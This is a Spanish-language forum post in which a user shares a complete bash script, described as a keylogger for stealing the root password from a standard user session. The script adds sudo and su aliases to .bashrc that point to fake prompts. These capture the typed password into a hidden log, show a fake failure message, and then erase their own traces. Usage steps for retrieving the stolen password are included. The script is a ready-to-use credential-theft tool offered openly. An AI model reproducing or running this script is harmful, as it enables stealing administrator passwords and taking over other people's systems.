[Bash] Keylogger para robo de password de root desde session de usuario estandar

Started by B3N, June 23, 2015, 01:29:42 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Este fue uno de mis primeros frutos en bash. Aqui les va

Code (bash) Select
#!/bin/bash
#
##############################################################################
#
# Nombre: sskeylogger
# Autor: B3N
#
# Descripcion: Falsifica los comandos sudo y su haciendose pasar por
#        los mismos con el fin de obtener el password del root.
#        Una vez obtenido el password es guardado en un log
#        llamado: .plog en el home del usuario.
#
#
# Explicacion del modo de operacion:
# (1) Se crea una copia del archivo .bashrc llamada .bashrcbk.
# (2) Se crean dos alias en el .bashrc original de los commandos
#     <sudo> y <su> que llaman a nuestro programa en caso de ser
#     invocado cualquiera de los dos.
# (3) Se crearan dos scripts que simulan los comandos <sudo> y <su>
#     y capturan el password del root guardandolo en el archivo
#     .plog en el home del usuario. Estos archivos se encuentran
#     en el home del usuario con los nombres: ".sudo_su" y ".sudo_sd".
# (4) Se restaura el .bashrc original desde la copia .bashrcbk.
# (5) Se borran los archivos creados.
# (6) Se ejecuta <bash> cargando el .bashrc original para no
#     tener que reiniciar el terminal en ese momento.
#
# Modo de empleo:
# (1) Ejecutar el programa desde un terminal: <sh sskeylogger.sh> (o el nombre
#     que le quieras poner), o darle permisos de ejecucion y ejecutarlo
#     desde el navegador de archivos.
# (2) Cerrar el terminal.
# (3) Esperar a que sea ejecutado el comando <sudo> o <su>.
# (4) Leer el log generado, puede ser con el siguiente comando:
#     <cat $HOME/.plog>
#
# Nota aclaratoria: En sistemas en otros idiomas deben modificarse las salidas estandar y de error
#
##############################################################################

# Backup del .bashrc
cp $HOME/.bashrc $HOME/.bashrcbk;

# Suplantacion de <su>
echo "alias su='$HOME/.sudo_su'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_su;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_su;
echo "stty -echo" >> $HOME/.sudo_su;
echo "read -p \"Password: \" IN" >> $HOME/.sudo_su;
echo "stty echo" >> $HOME/.sudo_su;
echo "echo" >> $HOME/.sudo_su;
echo "date >> $HOME/.plog" >> $HOME/.sudo_su;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_su;
echo "sleep 2" >> $HOME/.sudo_su;
echo "echo \"su: Authentication failure\"" >> $HOME/.sudo_su;
echo "rm \$HOME/.sudo_sd" >> $HOME/.sudo_su;
echo "rm \`basename \$0\`" >> $HOME/.sudo_su;
echo "bash --rcfile .bashrc" >> $HOME/.sudo_su;
chmod 755 $HOME/.sudo_su;

# Suplantacion de <sudo>
echo "alias sudo='$HOME/.sudo_sd'" >> $HOME/.bashrc;
echo "#!/bin/bash"> $HOME/.sudo_sd;
echo "mv $HOME/.bashrcbk $HOME/.bashrc" >> $HOME/.sudo_sd;
echo "stty -echo" >> $HOME/.sudo_sd;
echo "read -p \"[sudo] password for `id -un`: \" IN" >> $HOME/.sudo_sd;
echo "stty echo" >> $HOME/.sudo_sd;
echo "echo" >> $HOME/.sudo_sd;
echo "date >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "echo Password: \$IN >> $HOME/.plog" >> $HOME/.sudo_sd;
echo "sleep 2" >> $HOME/.sudo_sd;
echo "echo \"Sorry, try again.\"" >> $HOME/.sudo_sd;
echo "rm \`basename \$0\`" >> $HOME/.sudo_sd;
echo "rm \$HOME/.sudo_su" >> $HOME/.sudo_sd;
echo "sudo -k;" >> $HOME/.sudo_sd;
echo "sudo \$*; bash --rcfile .bashrc" >> $HOME/.sudo_sd;
chmod 755 $HOME/.sudo_sd;
01010111 01100001 01101011 01100101 00100000 01110101
01110000 00100000 01001110 01100101 01101111


Gracias por la edicion 01010111 01101000 01101001 01011010, no sabia lo de 'code=lenguaje_de_programacion'

Slds
01010111 01100001 01101011 01100101 00100000 01110101
01110000 00100000 01001110 01100101 01101111